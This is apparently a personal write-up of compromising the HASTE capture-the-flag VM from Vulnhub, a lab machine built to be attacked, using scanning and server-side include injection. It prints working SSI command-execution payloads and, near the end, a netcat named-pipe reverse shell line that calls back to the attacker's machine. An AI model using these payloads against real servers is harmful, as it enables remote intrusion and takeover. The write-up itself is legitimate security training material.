Today I’ll be explaining the route I took to compromise the HASTE VM
created by f1re_w1re
and hosted by the ever excellent Vulnhub
The attack surface on this box is minimal, and the exploit (while simple) had a twist which made me scratch my head and Google for help.
As usual, we start things off with the usual suite of nmap, dirb, nikto etc. –
root@kali:~# nmap -sV -sC -p- 192.168.56.104
Nmap scan report for 192.168.56.104
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_http-server-header: Apache/2.4.18 (Ubuntu)
As I mentioned earlier, very minimal attack surface. But the sC flag to nmap has highlighted a potentially interesting subdirectory named “spukcab” (Edit: it took me half an hour to spot that spukcab is ‘backups’ backwards…)
Next up we run Nikto to look for anything particularly spicy
root@kali:~# nikto -host 192.168.56.104
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x21 0x558f43773c4bf
+ OSVDB-3268: /spukcab/: Directory indexing found.
+ Entry '/spukcab/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.shtml
+ Multiple index files found: /index.php, /index.shtml
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3268: /pages/: Directory indexing found.
+ OSVDB-3092: /pages/: This might be interesting...
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
I’ve highlighted in bold the areas which look to be of interest at a quick glance.
Next we run dirb (or your choice of directory brute forcing software)
root@kali:~# dirb http://192.168.56.104
+ http://192.168.56.104/cgi-bin/ (CODE:403|SIZE:297)
==> DIRECTORY: http://192.168.56.104/images/
+ http://192.168.56.104/index (CODE:200|SIZE:35)
+ http://192.168.56.104/index.php (CODE:200|SIZE:6851)
==> DIRECTORY: http://192.168.56.104/layout/
+ http://192.168.56.104/licence (CODE:200|SIZE:5004)
==> DIRECTORY: http://192.168.56.104/pages/
+ http://192.168.56.104/receipt (CODE:200|SIZE:2534)
+ http://192.168.56.104/robots (CODE:200|SIZE:33)
+ http://192.168.56.104/robots.txt (CODE:200|SIZE:33)
+ http://192.168.56.104/server-status (CODE:403|SIZE:302)
+ http://192.168.56.104/ssi (CODE:200|SIZE:582)
So a couple of really interesting things pop out here, again I’ve highlighted them in bold.
So at this point, combining the output of Dirb and Nikto we realise that there are three
index files, and one of them has a ‘shtml’ which always screams SSI vuln
(additionally there’s a page named ‘/ssi’, which is also a pretty good hint…..
At this point we’ve got enough knowledge to go and poke the webserver to see what we can find.
Navigating to the site in our browser shows the following form –
So like the dilligent hackers we are we jam some SQL in one field and a little <script>alert(1);</script> in the other.
So the points of interest here are –
- The site’s vulnerable to reflected XSS
- The site’s not vulnerable to SQLi
- (not pictured) this page’s name is ‘receipt.shtml’ (ssi, ssi, ssi!)
So with point numbers 1 and 3 in mind, let’s see if we can break the site using an SSI vulnerability.
Using an input of <!–#echo var=”DATE_LOCAL” –> we get the following output –
Proving that our input is converted to SSI and returned to the screen.
Rip Hair Out
I spent more than an hour on this next part, which is to get command execution. I tried every possible combination of <!–#exec cmd=”ls” –> to try and get a directory listing..
Eventually after giving in and Googling this VM I found a post which mentioned that exec needs to actually be EXEC (which is non-standard for an SSI vuln as SSI is case sensitive, but I should definitely have tried it!)
So, freshly bald after having ripped my hair out, I now have command execution on the box.
Providing <!–#EXEC cmd=”uname -a ; whoami ; pwd ; whoami” –> to the form yields the following output –
Feedback: Linux ConverterPlus 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:13 UTC 2017 i686 i686 i686 GNU/Linux www-data /var/www/html/convert.me/public_html www-data
So now we have functioning command execution, let’s escalate it to a full shell.
Shell & Game Over
We run “nc -lvp 12345” on our attacker machine and provide <!–#EXEC cmd=”rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 12345 >/tmp/f” –> as input to the program and hey presto, we have a shell.
That’s the end of the challenge as far as I know. Additional effort could be made to establish a full shell, escalate our privileges and try to get root but I’m satisfied with finishing up here.
This was a great, creative VM and I thoroughly enjoyed working on it!